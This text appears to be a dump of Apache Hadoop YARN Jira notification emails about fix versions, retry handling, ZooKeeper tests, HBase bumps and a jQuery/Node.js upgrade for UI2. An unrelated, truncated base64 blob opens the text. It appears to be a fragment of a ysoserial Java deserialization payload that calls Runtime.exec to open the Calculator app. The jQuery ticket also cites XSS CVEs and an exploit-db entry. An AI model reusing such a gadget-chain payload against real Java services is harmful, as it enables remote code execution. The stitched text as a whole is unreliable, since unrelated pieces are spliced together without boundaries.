QAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADE
[jira] [Updated] (YARN-10479) RMProxy should retry on SocketTimeout Exceptions
[ https://issues.apache.org/jira/browse/YARN-10479?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10479: Fix Version/s: (was: 3.2.2) > RMProxy should retry on SocketTimeout Exceptions > > > Key: YARN-10479 > URL: https://issues.apache.org/jira/browse/YARN-10479 > Project: Hadoop YARN > Issue Type: Improvement > Components: yarn >Affects Versions: 2.10.1, 3.4.0 >Reporter: Jim Brennan >Assignee: Jim Brennan >Priority: Major > Fix For: 3.4.0, 3.3.1, 3.2.3 > > Attachments: YARN-10479.001.patch, YARN-10479.002.patch, > YARN-10479.003.patch > > > During an incident involving a DNS outage, a large number of nodemanagers > failed to come back into service because they hit a socket timeout when > trying to re-register with the RM. > SocketTimeoutException is not currently one of the exceptions that the > RMProxy will retry. Based on this incident, it seems like it should be. We > made this change internally about a year ago and it has been running in > production since. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10479) RMProxy should retry on SocketTimeout Exceptions
[ https://issues.apache.org/jira/browse/YARN-10479?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10479: Fix Version/s: 2.10.2 > RMProxy should retry on SocketTimeout Exceptions > > > Key: YARN-10479 > URL: https://issues.apache.org/jira/browse/YARN-10479 > Project: Hadoop YARN > Issue Type: Improvement > Components: yarn >Affects Versions: 2.10.1, 3.4.0 >Reporter: Jim Brennan >Assignee: Jim Brennan >Priority: Major > Fix For: 3.2.2, 3.4.0, 3.3.1, 2.10.2 > > Attachments: YARN-10479.001.patch, YARN-10479.002.patch, > YARN-10479.003.patch > > > During an incident involving a DNS outage, a large number of nodemanagers > failed to come back into service because they hit a socket timeout when > trying to re-register with the RM. > SocketTimeoutException is not currently one of the exceptions that the > RMProxy will retry. Based on this incident, it seems like it should be. We > made this change internally about a year ago and it has been running in > production since. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10479) RMProxy should retry on SocketTimeout Exceptions
[ https://issues.apache.org/jira/browse/YARN-10479?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10479: Fix Version/s: 3.2.2 (was: 3.2.3) > RMProxy should retry on SocketTimeout Exceptions > > > Key: YARN-10479 > URL: https://issues.apache.org/jira/browse/YARN-10479 > Project: Hadoop YARN > Issue Type: Improvement > Components: yarn >Affects Versions: 2.10.1, 3.4.0 >Reporter: Jim Brennan >Assignee: Jim Brennan >Priority: Major > Fix For: 3.2.2, 3.4.0, 3.3.1 > > Attachments: YARN-10479.001.patch, YARN-10479.002.patch, > YARN-10479.003.patch > > > During an incident involving a DNS outage, a large number of nodemanagers > failed to come back into service because they hit a socket timeout when > trying to re-register with the RM. > SocketTimeoutException is not currently one of the exceptions that the > RMProxy will retry. Based on this incident, it seems like it should be. We > made this change internally about a year ago and it has been running in > production since. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11120) Metrics for Federation getClusterMetrics
[ https://issues.apache.org/jira/browse/YARN-11120?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17532773#comment-17532773 ] Masatake Iwasaki commented on YARN-11120: - [~slfan1989] Marking this issue "Fixed" with "Fix Version/s" results in wrong entry in CHNAGELOGS generated by releasedocmaker. I updated the issue status. > Metrics for Federation getClusterMetrics > > > Key: YARN-11120 > URL: https://issues.apache.org/jira/browse/YARN-11120 > Project: Hadoop YARN > Issue Type: Sub-task > Components: federation >Affects Versions: 3.3.3 >Reporter: fanshilun >Priority: Major > Labels: pull-request-available > Attachments: YARN-11120.01.patch, YARN-11120.02.patch > > Time Spent: 10m > Remaining Estimate: 0h > > Recently, I studied and researched Yarn's federation-related functions. I > found that many methods have not been implemented. I chose the > getClusterMetrics method, but found that this method has been merged into > Trunk. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Resolved] (YARN-11120) Metrics for Federation getClusterMetrics
[ https://issues.apache.org/jira/browse/YARN-11120?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki resolved YARN-11120. - Resolution: Duplicate > Metrics for Federation getClusterMetrics > > > Key: YARN-11120 > URL: https://issues.apache.org/jira/browse/YARN-11120 > Project: Hadoop YARN > Issue Type: Sub-task > Components: federation >Affects Versions: 3.3.3 >Reporter: fanshilun >Priority: Major > Labels: pull-request-available > Attachments: YARN-11120.01.patch, YARN-11120.02.patch > > Time Spent: 10m > Remaining Estimate: 0h > > Recently, I studied and researched Yarn's federation-related functions. I > found that many methods have not been implemented. I chose the > getClusterMetrics method, but found that this method has been merged into > Trunk. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Reopened] (YARN-11120) Metrics for Federation getClusterMetrics
[ https://issues.apache.org/jira/browse/YARN-11120?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki reopened YARN-11120: - > Metrics for Federation getClusterMetrics > > > Key: YARN-11120 > URL: https://issues.apache.org/jira/browse/YARN-11120 > Project: Hadoop YARN > Issue Type: Sub-task > Components: federation >Affects Versions: 3.3.3 >Reporter: fanshilun >Priority: Major > Labels: pull-request-available > Fix For: 3.3.3 > > Attachments: YARN-11120.01.patch, YARN-11120.02.patch > > Time Spent: 10m > Remaining Estimate: 0h > > Recently, I studied and researched Yarn's federation-related functions. I > found that many methods have not been implemented. I chose the > getClusterMetrics method, but found that this method has been merged into > Trunk. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11120) Metrics for Federation getClusterMetrics
[ https://issues.apache.org/jira/browse/YARN-11120?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-11120: Fix Version/s: (was: 3.3.3) > Metrics for Federation getClusterMetrics > > > Key: YARN-11120 > URL: https://issues.apache.org/jira/browse/YARN-11120 > Project: Hadoop YARN > Issue Type: Sub-task > Components: federation >Affects Versions: 3.3.3 >Reporter: fanshilun >Priority: Major > Labels: pull-request-available > Attachments: YARN-11120.01.patch, YARN-11120.02.patch > > Time Spent: 10m > Remaining Estimate: 0h > > Recently, I studied and researched Yarn's federation-related functions. I > found that many methods have not been implemented. I chose the > getClusterMetrics method, but found that this method has been merged into > Trunk. -- This message was sent by Atlassian Jira (v8.20.7#820007) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9783) Remove low-level zookeeper test to be able to build Hadoop against zookeeper 3.5.5
[ https://issues.apache.org/jira/browse/YARN-9783?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-9783: --- Fix Version/s: 3.2.3 > Remove low-level zookeeper test to be able to build Hadoop against zookeeper > 3.5.5 > -- > > Key: YARN-9783 > URL: https://issues.apache.org/jira/browse/YARN-9783 > Project: Hadoop YARN > Issue Type: Improvement > Components: test >Reporter: Mate Szalay-Beko >Assignee: Mate Szalay-Beko >Priority: Major > Fix For: 3.3.0, 3.2.3 > > Attachments: YARN-9783.001.patch, YARN-9783.002.patch, > YARN-9783.003.patch > > > ZooKeeper 3.5.5 release is the latest stable one. It contains many new > features (including SSL related improvements which are very important for > production use; see [the release > notes|https://zookeeper.apache.org/doc/r3.5.5/releasenotes.html]). Yet there > should be no backward incompatible changes on the API, so the applications > using ZooKeeper clients should be built against the new zookeeper without any > problem and the new ZooKeeper client should work with the older (3.4) servers > without any issue, at least until someone is start to use new functionality. > The aim of this ticket is not to change the ZooKeeper version used by Hadoop > YARN yet, but to enable people to rebuild and test Hadoop with the new > ZooKeeper version. > Currently the Hadoop build (with ZooKeeper 3.5.5) fails because of a YARN > test case: > [TestSecureRegistry.testLowlevelZKSaslLogin()|https://github.com/apache/hadoop/blob/a0da1ec01051108b77f86799dd5e97563b2a3962/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-registry/src/test/java/org/apache/hadoop/registry/secure/TestSecureRegistry.java#L64]. > This test case seems to use low-level ZooKeeper internal code, which changed > in the new ZooKeeper version. Although I am not sure what was the original > reasoning of the inclusion of this test in the YARN code, I propose to remove > it, and if there is still any missing test case in ZooKeeper, then let's > issue a ZooKeeper ticket to test this scenario there. -- This message was sent by Atlassian Jira (v8.20.1#820001) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9783) Remove low-level zookeeper test to be able to build Hadoop against zookeeper 3.5.5
[ https://issues.apache.org/jira/browse/YARN-9783?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17504051#comment-17504051 ] Masatake Iwasaki commented on YARN-9783: I cherry-picked this to branch-3.2 and branch-3.2.3. > Remove low-level zookeeper test to be able to build Hadoop against zookeeper > 3.5.5 > -- > > Key: YARN-9783 > URL: https://issues.apache.org/jira/browse/YARN-9783 > Project: Hadoop YARN > Issue Type: Improvement > Components: test >Reporter: Mate Szalay-Beko >Assignee: Mate Szalay-Beko >Priority: Major > Fix For: 3.3.0, 3.2.3 > > Attachments: YARN-9783.001.patch, YARN-9783.002.patch, > YARN-9783.003.patch > > > ZooKeeper 3.5.5 release is the latest stable one. It contains many new > features (including SSL related improvements which are very important for > production use; see [the release > notes|https://zookeeper.apache.org/doc/r3.5.5/releasenotes.html]). Yet there > should be no backward incompatible changes on the API, so the applications > using ZooKeeper clients should be built against the new zookeeper without any > problem and the new ZooKeeper client should work with the older (3.4) servers > without any issue, at least until someone is start to use new functionality. > The aim of this ticket is not to change the ZooKeeper version used by Hadoop > YARN yet, but to enable people to rebuild and test Hadoop with the new > ZooKeeper version. > Currently the Hadoop build (with ZooKeeper 3.5.5) fails because of a YARN > test case: > [TestSecureRegistry.testLowlevelZKSaslLogin()|https://github.com/apache/hadoop/blob/a0da1ec01051108b77f86799dd5e97563b2a3962/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-registry/src/test/java/org/apache/hadoop/registry/secure/TestSecureRegistry.java#L64]. > This test case seems to use low-level ZooKeeper internal code, which changed > in the new ZooKeeper version. Although I am not sure what was the original > reasoning of the inclusion of this test in the YARN code, I propose to remove > it, and if there is still any missing test case in ZooKeeper, then let's > issue a ZooKeeper ticket to test this scenario there. -- This message was sent by Atlassian Jira (v8.20.1#820001) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11076) Upgrade jQuery version in Yarn UI2
[
https://issues.apache.org/jira/browse/YARN-11076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11076:
Fix Version/s: 3.3.3
> Upgrade jQuery version in Yarn UI2
> ---
>
> Key: YARN-11076
> URL: https://issues.apache.org/jira/browse/YARN-11076
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: yarn-ui-v2
>Affects Versions: 3.3.0, 3.4.0
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.3.3
>
> Attachments: jquery.html, ui2jquery.png
>
> Time Spent: 40m
> Remaining Estimate: 0h
>
> UI2 uses an old jQuery version (2.1.4) which is affected by some known
> vulnerabilities, e.g.:
> - https://nvd.nist.gov/vuln/detail/CVE-2020-11022#vulnCurrentDescriptionTitle
> - https://nvd.nist.gov/vuln/detail/CVE-2020-11023#vulnCurrentDescriptionTitle
> - https://www.exploit-db.com/exploits/49766
> !ui2jquery.png!
> Attached an example reproduction page:
> [^jquery.html]
> The alert window pops with 1.8.2, or 2.1.4 but not with a 3.6.0. However, I
> couldn't exploit this with UI2, but I haven't tried every code path for sure.
> https://github.com/apache/hadoop/blob/trunk/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-ui/src/main/webapp/bower.json
> {code}
> "jquery": "2.1.4",
> "jquery-ui": "1.11.4",
> {code}
> jQuery was upgraded already in hadoop-common:
> - HADOOP-18044, HADOOP-17286, HADOOP-17783
> jquery-ui should also be upgraded to at least 1.13.0:
> -
> https://www.cvedetails.com/vulnerability-list/vendor_id-6538/product_id-31126/Jquery-Jquery-Ui.html
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Resolved] (YARN-11076) Upgrade jQuery version in Yarn UI2
[
https://issues.apache.org/jira/browse/YARN-11076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki resolved YARN-11076.
-
Fix Version/s: 3.4.0
Hadoop Flags: Reviewed
Resolution: Fixed
> Upgrade jQuery version in Yarn UI2
> ---
>
> Key: YARN-11076
> URL: https://issues.apache.org/jira/browse/YARN-11076
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: yarn-ui-v2
>Affects Versions: 3.3.0, 3.4.0
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0
>
> Attachments: jquery.html, ui2jquery.png
>
> Time Spent: 0.5h
> Remaining Estimate: 0h
>
> UI2 uses an old jQuery version (2.1.4) which is affected by some known
> vulnerabilities, e.g.:
> - https://nvd.nist.gov/vuln/detail/CVE-2020-11022#vulnCurrentDescriptionTitle
> - https://nvd.nist.gov/vuln/detail/CVE-2020-11023#vulnCurrentDescriptionTitle
> - https://www.exploit-db.com/exploits/49766
> !ui2jquery.png!
> Attached an example reproduction page:
> [^jquery.html]
> The alert window pops with 1.8.2, or 2.1.4 but not with a 3.6.0. However, I
> couldn't exploit this with UI2, but I haven't tried every code path for sure.
> https://github.com/apache/hadoop/blob/trunk/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-ui/src/main/webapp/bower.json
> {code}
> "jquery": "2.1.4",
> "jquery-ui": "1.11.4",
> {code}
> jQuery was upgraded already in hadoop-common:
> - HADOOP-18044, HADOOP-17286, HADOOP-17783
> jquery-ui should also be upgraded to at least 1.13.0:
> -
> https://www.cvedetails.com/vulnerability-list/vendor_id-6538/product_id-31126/Jquery-Jquery-Ui.html
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-8936) Bump up Atsv2 hbase versions
[
https://issues.apache.org/jira/browse/YARN-8936?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17425365#comment-17425365
]
Masatake Iwasaki commented on YARN-8936:
{quote}
Ideally we could have created one more to iira to backport this so that release
notes can be proper as we already given release after this resolved.
{quote}
[~brahmareddy] [releasedocmaker of
Yetus|https://github.com/apache/yetus/blob/rel/0.13.0/releasedocmaker/src/main/python/releasedocmaker/__init__.py#L341-L343]
picks this JIRA if "Fix Version/s:" contains the target version. Adding values
to the "Fix Version/s:" field should not affect RELEASENOTE/CHANGELOG of other
releases?
{noformat}
$ git checkout branch-3.2.3
$ mvn clean install -DskipTests -DskipShade
$ mvn site -Preleasedocs
$ grep -r YARN-8936 ./hadoop-common-project/hadoop-common/target/site/release
./hadoop-common-project/hadoop-common/target/site/release/3.2.3/CHANGELOG.3.2.3.html: https://issues.apache.org/jira/browse/YARN-8936";>YARN-8936
{noformat}
> Bump up Atsv2 hbase versions
>
>
> Key: YARN-8936
> URL: https://issues.apache.org/jira/browse/YARN-8936
> Project: Hadoop YARN
> Issue Type: Bug
>Affects Versions: 3.2.0, 3.1.2, 3.3.0
>Reporter: Rohith Sharma K S
>Assignee: Vrushali C
>Priority: Major
> Fix For: 3.3.0, 3.2.3
>
> Attachments: YARN-8936-yarn-7055.0001.patch, YARN-8936.0001.patch,
> YARN-8936.0002.patch, YARN-8936.0003.patch
>
>
> Hadoop trunk uses hbase.two.version as 2.0.0-beta-1. HBase has release stable
> Hbase-2.0.2 version and this could be used in Hadoop-3.3/3.2/3.1 branches.
> cc:/ [~vrushalic]
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-8936) Bump up Atsv2 hbase versions
[ https://issues.apache.org/jira/browse/YARN-8936?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17425000#comment-17425000 ] Masatake Iwasaki commented on YARN-8936: and branch-3.2.3. > Bump up Atsv2 hbase versions > > > Key: YARN-8936 > URL: https://issues.apache.org/jira/browse/YARN-8936 > Project: Hadoop YARN > Issue Type: Bug >Affects Versions: 3.2.0, 3.1.2, 3.3.0 >Reporter: Rohith Sharma K S >Assignee: Vrushali C >Priority: Major > Fix For: 3.3.0, 3.2.3 > > Attachments: YARN-8936-yarn-7055.0001.patch, YARN-8936.0001.patch, > YARN-8936.0002.patch, YARN-8936.0003.patch > > > Hadoop trunk uses hbase.two.version as 2.0.0-beta-1. HBase has release stable > Hbase-2.0.2 version and this could be used in Hadoop-3.3/3.2/3.1 branches. > cc:/ [~vrushalic] -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-8936) Bump up Atsv2 hbase versions
[ https://issues.apache.org/jira/browse/YARN-8936?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-8936: --- Fix Version/s: (was: 3.2.4) 3.2.3 > Bump up Atsv2 hbase versions > > > Key: YARN-8936 > URL: https://issues.apache.org/jira/browse/YARN-8936 > Project: Hadoop YARN > Issue Type: Bug >Affects Versions: 3.2.0, 3.1.2, 3.3.0 >Reporter: Rohith Sharma K S >Assignee: Vrushali C >Priority: Major > Fix For: 3.3.0, 3.2.3 > > Attachments: YARN-8936-yarn-7055.0001.patch, YARN-8936.0001.patch, > YARN-8936.0002.patch, YARN-8936.0003.patch > > > Hadoop trunk uses hbase.two.version as 2.0.0-beta-1. HBase has release stable > Hbase-2.0.2 version and this could be used in Hadoop-3.3/3.2/3.1 branches. > cc:/ [~vrushalic] -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-8936) Bump up Atsv2 hbase versions
[ https://issues.apache.org/jira/browse/YARN-8936?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17424956#comment-17424956 ] Masatake Iwasaki commented on YARN-8936: cherry-picked to branch-3.2. > Bump up Atsv2 hbase versions > > > Key: YARN-8936 > URL: https://issues.apache.org/jira/browse/YARN-8936 > Project: Hadoop YARN > Issue Type: Bug >Affects Versions: 3.2.0, 3.1.2, 3.3.0 >Reporter: Rohith Sharma K S >Assignee: Vrushali C >Priority: Major > Fix For: 3.3.0, 3.2.4 > > Attachments: YARN-8936-yarn-7055.0001.patch, YARN-8936.0001.patch, > YARN-8936.0002.patch, YARN-8936.0003.patch > > > Hadoop trunk uses hbase.two.version as 2.0.0-beta-1. HBase has release stable > Hbase-2.0.2 version and this could be used in Hadoop-3.3/3.2/3.1 branches. > cc:/ [~vrushalic] -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-8936) Bump up Atsv2 hbase versions
[ https://issues.apache.org/jira/browse/YARN-8936?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-8936: --- Fix Version/s: 3.2.4 > Bump up Atsv2 hbase versions > > > Key: YARN-8936 > URL: https://issues.apache.org/jira/browse/YARN-8936 > Project: Hadoop YARN > Issue Type: Bug >Affects Versions: 3.2.0, 3.1.2, 3.3.0 >Reporter: Rohith Sharma K S >Assignee: Vrushali C >Priority: Major > Fix For: 3.3.0, 3.2.4 > > Attachments: YARN-8936-yarn-7055.0001.patch, YARN-8936.0001.patch, > YARN-8936.0002.patch, YARN-8936.0003.patch > > > Hadoop trunk uses hbase.two.version as 2.0.0-beta-1. HBase has release stable > Hbase-2.0.2 version and this could be used in Hadoop-3.3/3.2/3.1 branches. > cc:/ [~vrushalic] -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10858) [UI2] YARN-10826 breaks Queue view
[ https://issues.apache.org/jira/browse/YARN-10858?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17383328#comment-17383328 ] Masatake Iwasaki commented on YARN-10858: - Thanks for reporting this, [~gandras]. I could reproduce the issue. Quick fix I found was downgrading ember a bit like [#3213|https://github.com/apache/hadoop/pull/3213]. > [UI2] YARN-10826 breaks Queue view > -- > > Key: YARN-10858 > URL: https://issues.apache.org/jira/browse/YARN-10858 > Project: Hadoop YARN > Issue Type: Improvement > Components: yarn-ui-v2 >Reporter: Andras Gyori >Assignee: Andras Gyori >Priority: Major > Labels: pull-request-available > Attachments: Screenshot 2021-07-19 at 11.40.57.png > > Time Spent: 10m > Remaining Estimate: 0h > > With YARN-10826, UIv2 was upgraded to EmberJS 2.11.3. However, the Queues tab > is broken and loads an empty page. After reverting the commit, the page is > working as intended. > We need to investigate what causes this issue, and how we could mitigate it > without reverting the commit back. > cc. > [~iwasakims] [~aajisaka] -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10826) [UI2] Upgrade Node.js to at least v12.22.1
[ https://issues.apache.org/jira/browse/YARN-10826?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10826: Fix Version/s: 3.2.3 > [UI2] Upgrade Node.js to at least v12.22.1 > -- > > Key: YARN-10826 > URL: https://issues.apache.org/jira/browse/YARN-10826 > Project: Hadoop YARN > Issue Type: Bug > Components: yarn-ui-v2 >Reporter: Akira Ajisaka >Assignee: Masatake Iwasaki >Priority: Major > Labels: pull-request-available > Fix For: 3.4.0, 3.2.3, 3.3.2 > > Time Spent: 1h 50m > Remaining Estimate: 0h > > Node.js 10.x is EoL. We have to upgrade to at least 12.x. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10826) [UI2] Upgrade Node.js to at least v12.22.1
[ https://issues.apache.org/jira/browse/YARN-10826?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17368630#comment-17368630 ] Masatake Iwasaki commented on YARN-10826: - I needed to cherry-pick [e9c5bb8078833d72b3e831d511ef3ed4d16c27d3|https://github.com/apache/hadoop/commit/e9c5bb8078833d72b3e831d511ef3ed4d16c27d3] before this. > [UI2] Upgrade Node.js to at least v12.22.1 > -- > > Key: YARN-10826 > URL: https://issues.apache.org/jira/browse/YARN-10826 > Project: Hadoop YARN > Issue Type: Bug > Components: yarn-ui-v2 >Reporter: Akira Ajisaka >Assignee: Masatake Iwasaki >Priority: Major > Labels: pull-request-available > Fix For: 3.4.0, 3.3.2 > > Time Spent: 1h 50m > Remaining Estimate: 0h > > Node.js 10.x is EoL. We have to upgrade to at least 12.x. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10826) [UI2] Upgrade Node.js to at least v12.22.1
[
https://issues.apache.org/jira/browse/YARN-10826?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17368626#comment-17368626
]
Masatake Iwasaki commented on YARN-10826:
-
Thanks, [~aajisaka]. It looks like we need to update yarn.lock to fix compile
error related to node-sass. I will do it on cherry-picking this YARN-10826.
{noformat}
make: *** [Release/obj.target/binding/src/binding.o] Error 1
make: Leaving directory
`/ext/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-ui/src/main/webapp/node_modules/node-sass/build'
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack at ChildProcess.onExit
(/ext/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-ui/src/main/webapp/node_modules/node-sass/node_modules/node-gyp/lib/build.js:258:23)
gyp ERR! stack at ChildProcess.emit (events.js:198:13)
gyp ERR! stack at Process.ChildProcess._handle.onexit
(internal/child_process.js:248:12)
gyp ERR! System Linux 3.10.0-957.12.2.el7.x86_64
gyp ERR! command
"/ext/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-ui/target/webapp/node/node"
"/ext/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-ui/src/main/webapp/node_modules/node-sass/node_modules/node-gyp/bin/node-gyp.js"
"rebuild" "--verbose" "--libsass_ext=" "--libsass_cflags="
"--libsass_ldflags=" "--libsass_library="
gyp ERR! cwd
/ext/srcs/hadoop/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-ui/src/main/webapp/node_modules/node-sass
gyp ERR! node -v v10.23.1
gyp ERR! node-gyp -v v3.6.2
gyp ERR! not ok
Build failed with error code: 1
{noformat}
> [UI2] Upgrade Node.js to at least v12.22.1
> --
>
> Key: YARN-10826
> URL: https://issues.apache.org/jira/browse/YARN-10826
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn-ui-v2
>Reporter: Akira Ajisaka
>Assignee: Masatake Iwasaki
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.3.2
>
> Time Spent: 1h 50m
> Remaining Estimate: 0h
>
> Node.js 10.x is EoL. We have to upgrade to at least 12.x.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10826) [UI2] Upgrade Node.js to at least v12.22.1
